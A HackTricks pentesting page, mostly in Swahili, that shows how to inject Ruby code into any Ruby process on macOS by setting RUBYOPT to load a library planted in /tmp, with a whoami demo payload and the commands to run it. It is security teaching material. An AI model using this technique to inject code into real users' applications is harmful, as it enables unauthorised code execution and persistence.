macOS Ruby Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RUBYOPT

Kwa kutumia hii env variable inawezekana kuongeza params mpya kwa ruby kila wakati inatekelezwa. Ingawa param -e haiwezi kutumika kubaini ruby code ya kutekeleza, inawezekana kutumia params -I na -r kuongeza folda mpya kwenye maktaba za kupakia na kisha kubaini maktaba ya kupakia.

Unda maktaba inject.rb katika /tmp:

inject.rb
puts `whoami`

Unda popote script ya ruby kama:

hello.rb
puts 'Hello, World!'

Kisha fanya script ya ruby isiyo na mpangilio iitwe na:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fun fact, inafanya kazi hata na param --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated